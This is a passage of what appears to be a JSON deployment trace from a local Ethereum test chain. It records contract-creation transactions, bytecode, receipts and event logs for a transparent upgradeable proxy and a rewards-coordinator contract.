60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":28,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xde9e2","logs":[{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2c6ee5398f79fd95878301d23352454202bf3c51130435820fde873a683e4f76","block_number":18},{"info":{"transaction_hash":"0xd62db15427e349b85ca91b824b5c628a89f55da618540ebbe26ccfb1233cf85c","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e